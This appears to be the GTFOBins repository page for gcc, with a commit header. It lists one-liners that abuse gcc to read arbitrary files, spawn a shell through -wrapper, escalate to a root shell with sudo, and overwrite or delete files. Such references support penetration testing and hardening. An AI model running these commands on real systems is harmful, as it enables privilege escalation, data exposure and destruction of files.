Files
GTFOBins.github.io/_gtfobins/gcc.md
LinuxSploit 51e8892fec Update gcc.md
delete a file with gcc
2021-04-06 09:45:44 +02:00

348 B

functions
functions
file-read shell sudo file-delete
code
LFILE=file_to_read gcc -x c -E "$LFILE"
code
gcc -wrapper /bin/sh,-s .
code
sudo gcc -wrapper /bin/sh,-s .
code
echo "int main(){printf(" Hello ");return 0;}" > /tmp/oye.c ; gcc -nostdlib /tmp/oye.c -o [FILE-TO-DELETE] .